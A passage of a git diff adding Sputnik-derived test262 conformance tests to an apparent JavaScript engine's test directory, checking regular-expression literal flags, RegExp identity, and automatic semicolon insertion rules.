+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T7.js
+ * @description IdentifierPart :: \u0067 (g)
+ */
+
+//CHECK#1
+var regexp;
+eval("regexp = /(?:)/\u0067");
+if (regexp.global !== true) {
+ $ERROR('#1: var regexp = /(?:)/\\u0067; regexp.global === true. Actual: ' + (regexp.global));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T8.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T8.js
new file mode 100644
index 000000000..de78b6f23
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T8.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T8.js
+ * @description IdentifierPart :: \u0069 (i)
+ */
+
+//CHECK#1
+var regexp;
+eval("regexp = /(?:)/\u0069");
+if (regexp.ignoreCase !== true) {
+ $ERROR('#1: var regexp = /(?:)/\\u0069; regexp.ignoreCase === true. Actual: ' + (regexp.ignoreCase));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T9.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T9.js
new file mode 100644
index 000000000..132586af4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A3.1_T9.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * RegularExpressionFlags :: IdentifierPart
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A3.1_T9.js
+ * @description IdentifierPart :: \u006D (m)
+ */
+
+//CHECK#1
+var regexp;
+eval("regexp = /(?:)/\u006D");
+if (regexp.multiline !== true) {
+ $ERROR('#1: var regexp = /(?:)/\\u006D; regexp.multiline === true. Actual: ' + (regexp.multiline));
+}
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.1.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.1.js
new file mode 100644
index 000000000..d8f33d67d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * A regular expression literal is an input element that is converted to
+ * a RegExp object when it is scanned
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A4.1.js
+ * @description Check ((/(?:)/ instanceof RegExp) === true)
+ */
+
+//CHECK#1
+if ((/(?:)/ instanceof RegExp) !== true) {
+ $ERROR('#1: (/(?:)/ instanceof RegExp) === true. Actual: ' + ((/(?:)/ instanceof RegExp)));
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.2.js b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.2.js
new file mode 100644
index 000000000..569e4cbd2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/S7.8.5_A4.2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Two regular expression literals in a program evaluate to
+ * regular expression objects that never compare as === to each other even
+ * if the two literals' contents are identical
+ *
+ * @path ch07/7.8/7.8.5/S7.8.5_A4.2.js
+ * @description Check equality two regular expression literals
+ */
+
+//CHECK#1
+var regexp1 = /(?:)/;
+var regexp2 = /(?:)/;
+if (regexp1 === regexp2) {
+ $ERROR('#1: var regexp1 = /(?:)/; var regexp2 = /(?:)/; regexp1 !== regexp2');
+}
+
+
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/browser.js b/js/src/tests/test262/ch07/7.8/7.8.5/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/7.8.5/shell.js b/js/src/tests/test262/ch07/7.8/7.8.5/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/7.8.5/shell.js
diff --git a/js/src/tests/test262/ch07/7.8/browser.js b/js/src/tests/test262/ch07/7.8/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/browser.js
diff --git a/js/src/tests/test262/ch07/7.8/shell.js b/js/src/tests/test262/ch07/7.8/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.8/shell.js
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T1.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T1.js
new file mode 100644
index 000000000..566fbbf47
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T1.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T1.js
+ * @description { 1 2 } 3 is not a valid sentence in the ECMAScript grammar
+ * @negative
+ */
+
+//CHECK#1
+{ 1 2 } 3
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T2.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T2.js
new file mode 100644
index 000000000..565d860a2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T2.js
+ * @description { 1 \n 2 } 3 is a valid sentence in the ECMAScript grammar with automatic semicolon insertion
+ */
+
+//CHECK#1
+{ 1
+2 } 3
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T3.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T3.js
new file mode 100644
index 000000000..ab0d03265
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T3.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T3.js
+ * @description for( a ; b \n ) is not a valid sentence in the ECMAScript grammar
+ * @negative
+ */
+
+//CHECK#1
+for( a ; b
+)
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T4.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T4.js
new file mode 100644
index 000000000..e4c39798a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T4.js
+ * @description return \n a+b is a valid sentence in the ECMAScript grammar
+ * with automatic semicolon insertion, but returned undefined
+ */
+
+//CHECK#1
+var a=1,b=2;
+function test(){
+ return
+ a+b
+}
+var x=test();
+if (x!==undefined) $ERROR('#1: Automatic semicolon insertion not work with return');
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T5.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T5.js
new file mode 100644
index 000000000..3ca074a17
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T5.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T5.js
+ * @description a=b \n ++c is a valid sentence in the ECMAScript grammar
+ * with automatic semicolon insertion, but a!==b++c
+ */
+
+//CHECK#1
+var a=1,b=2,c=3;
+a=b
+++c
+
+if (a!==b) $ERROR('#1: Automatic semicolon insertion not work with ++');
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T6.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T6.js
new file mode 100644
index 000000000..8284f932a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T6.js
@@ -0,0 +1,16 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T6.js
+ * @description if(a>b) \n else c=d is not a valid sentence in the ECMAScript grammar
+ * @negative
+ */
+
+//CHECK#1
+var a=1,b=2,c=3,d;
+if(a>b)
+else c=d
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T7.js b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T7.js
new file mode 100644
index 000000000..b2e1697bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/S7.9.2_A1_T7.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check examples for automatic semicolon insertion from the Standart
+ *
+ * @path ch07/7.9/7.9.2/S7.9.2_A1_T7.js
+ * @description a=b+c \n (d+e).print() is a valid sentence in the ECMAScript grammar,
+ * and automatic semicolon insertion not run
+ */
+
+//CHECK#1
+function c (a){
+ return 2*a;
+}
+
+var a=1,b=2,d=4,e=5;
+
+a=b+c
+(d+e)
+
+if (a !== 20) $ERROR('#1: Automatic semicolon insertion work wrong');
+
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/browser.js b/js/src/tests/test262/ch07/7.9/7.9.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/browser.js
diff --git a/js/src/tests/test262/ch07/7.9/7.9.2/shell.js b/js/src/tests/test262/ch07/7.9/7.9.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/7.9.2/shell.js
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A1.js b/js/src/tests/test262/ch07/7.9/S7.9_A1.js
new file mode 100644
index 000000000..47b1453b5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Continue Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A1.js
+ * @description Try use continue \n Label construction
+ */
+
+//CHECK#1
+label1: for (var i = 0; i <= 0; i++) {
+ for (var j = 0; j <= 1; j++) {
+ if (j === 0) {
+ continue label1;
+ } else {
+ $ERROR('#1: Check continue statement for automatic semicolon insertion');
+ }
+ }
+}
+
+//CHECK#2
+var result = false;
+label2: for (var i = 0; i <= 1; i++) {
+ for (var j = 0; j <= 1; j++) {
+ if (j === 0) {
+ continue
+ label2;
+ } else {
+ result = true;
+ }
+ }
+}
+
+if (result !== true) {
+ $ERROR('#2: Check continue statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T1.js
new file mode 100644
index 000000000..6b884101e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T1.js
+ * @description Checking if execution of "1 * {}" passes
+ */
+
+//CHECK#1
+1 * {}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T10.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T10.js
new file mode 100644
index 000000000..b1fff1247
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T10.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T10.js
+ * @description Checking if execution of "{a:1 \n} 3" passes
+ */
+
+//CHECK#1
+{a:1
+} 3
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T11.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T11.js
new file mode 100644
index 000000000..0b28b5e11
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T11.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T11.js
+ * @description Checking if execution of "{a:1 \n} \n 3" passes
+ */
+
+//CHECK#1
+{a:1
+}
+3
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T12.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T12.js
new file mode 100644
index 000000000..600aaa5ac
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T12.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T12.js
+ * @description Checking if execution of "{ \n a: \n 1 \n } \n 3" passes
+ */
+
+//CHECK#1
+{
+a:
+1
+}
+3
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T2.js
new file mode 100644
index 000000000..762a4a910
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T2.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T2.js
+ * @description Checking if execution of "{}*1" fails
+ * @negative
+ */
+
+//CHECK#1
+{} * 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T3.js
new file mode 100644
index 000000000..902631481
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T3.js
+ * @description Checking if execution of "({}) * 1" passes
+ */
+
+//CHECK#1
+({}) * 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T4.js
new file mode 100644
index 000000000..fcd18b665
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T4.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T4.js
+ * @description Checking if execution of "({};)*1" fails
+ * @negative
+ */
+
+//CHECK#1
+({};) * 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T5.js
new file mode 100644
index 000000000..47b59d8c0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T5.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T5.js
+ * @description Checking if execution of "( \n {} \n ) * 1" passes
+ */
+
+//CHECK#1
+(
+ {}
+) * 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T6.js
new file mode 100644
index 000000000..e900fc8c5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T6.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T6.js
+ * @description Checking if execution of "{} \n * 1" fails
+ * @negative
+ */
+
+//CHECK#1
+{}
+ * 1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T7.js
new file mode 100644
index 000000000..7cc00a70e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T7.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T7.js
+ * @description Checking if execution of "{1} 2" passes
+ */
+
+//CHECK#1
+{1} 2
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T8.js
new file mode 100644
index 000000000..08b3fe564
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T8.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T8.js
+ * @description Checking if execution of "{1 2} 3" fails
+ * @negative
+ */
+
+//CHECK#1
+{1 2} 3
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A10_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A10_T9.js
new file mode 100644
index 000000000..03daf8d9d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A10_T9.js
@@ -0,0 +1,14 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check {} for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A10_T9.js
+ * @description Checking if execution of "{1 \n 2} 3" passes
+ */
+
+//CHECK#1
+{1
+2} 3
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T1.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T1.js
new file mode 100644
index 000000000..7acebb81e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T1.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T1.js
+ * @description Use if (false) x = 1 (without semicolon) and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) x = 1
+if (x !== 0) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T10.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T10.js
new file mode 100644
index 000000000..d7304465b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T10.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T10.js
+ * @description Use if (false) {x = 1} else {x=-1} and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) {x = 1} else {x = -1}
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T11.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T11.js
new file mode 100644
index 000000000..008a365bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T11.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T11.js
+ * @description Use if (false) {{x = 1};} \n else x=-1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) {{x = 1};}
+else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T2.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T2.js
new file mode 100644
index 000000000..bcb0ccd65
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T2.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T2.js
+ * @description Use if (false) \n x = 1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false)
+x = 1
+if (x !== 0) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T3.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T3.js
new file mode 100644
index 000000000..12df0b4a9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T3.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T3.js
+ * @description Use if (false);\n x = 1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false);
+x = 1
+if (x !== 1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T4.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T4.js
new file mode 100644
index 000000000..d5ab788db
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T4.js
@@ -0,0 +1,15 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T4.js
+ * @description Checking if execution of "if (false) x = 1 else x = -1" fails
+ * @negative
+ */
+
+//CHECK#1
+var x = 0;
+if (false) x = 1 else x = -1
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T5.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T5.js
new file mode 100644
index 000000000..22cfac9cf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T5.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T5.js
+ * @description Use if (false) x = 1; else x=-1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) x = 1; else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T6.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T6.js
new file mode 100644
index 000000000..b5555429c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T6.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T6.js
+ * @description Use if (false) x = 1 \n else x=-1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) x = 1
+else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T7.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T7.js
new file mode 100644
index 000000000..98fc0aea9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T7.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T7.js
+ * @description Use if (false) x = 1; \n else x=-1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) x = 1;
+else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T8.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T8.js
new file mode 100644
index 000000000..24d588152
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T8.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T8.js
+ * @description Use if (false) {x = 1}; \n else x=-1 and check x
+ * @negative
+ */
+
+//CHECK#1
+var x = 0;
+if (false) {x = 1};
+else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A11_T9.js b/js/src/tests/test262/ch07/7.9/S7.9_A11_T9.js
new file mode 100644
index 000000000..f0d6878fd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A11_T9.js
@@ -0,0 +1,18 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check If Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A11_T9.js
+ * @description Use if (false) {x = 1} \n else x=-1 and check x
+ */
+
+//CHECK#1
+var x = 0;
+if (false) {x = 1}
+else x = -1
+if (x !== -1) {
+ $ERROR('#1: Check If Statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A2.js b/js/src/tests/test262/ch07/7.9/S7.9_A2.js
new file mode 100644
index 000000000..fdc2189f9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Break Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A2.js
+ * @description Try use break \n Label construction
+ */
+
+//CHECK#1
+label1: for (var i = 0; i <= 0; i++) {
+ for (var j = 0; j <= 0; j++) {
+ break label1;
+ }
+ $ERROR('#1: Check break statement for automatic semicolon insertion');
+}
+
+//CHECK#2
+var result = false;
+label2: for (var i = 0; i <= 0; i++) {
+ for (var j = 0; j <= 0; j++) {
+ break
+ label2;
+ }
+ result = true;
+}
+
+if (result !== true) {
+ $ERROR('#2: Check break statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A3.js b/js/src/tests/test262/ch07/7.9/S7.9_A3.js
new file mode 100644
index 000000000..e52b88760
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A3.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Return Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A3.js
+ * @description Try use return \n Expression construction
+ */
+
+//CHECK#1
+function f1()
+{
+ return 1;
+}
+if (f1() !== 1) {
+ $ERROR('#1: Check return statement for automatic semicolon insertion');
+}
+
+//CHECK#2
+function f2()
+{
+ return
+ 1;
+}
+if (f2() !== undefined) {
+ $ERROR('#2: Check return statement for automatic semicolon insertion');
+}
+
diff --git a/js/src/tests/test262/ch07/7.9/S7.9_A4.js b/js/src/tests/test262/ch07/7.9/S7.9_A4.js
new file mode 100644
index 000000000..d8a5ac607
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.9/S7.9_A4.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check Throw Statement for automatic semicolon insertion
+ *
+ * @path ch07/7.9/S7.9_A4.js
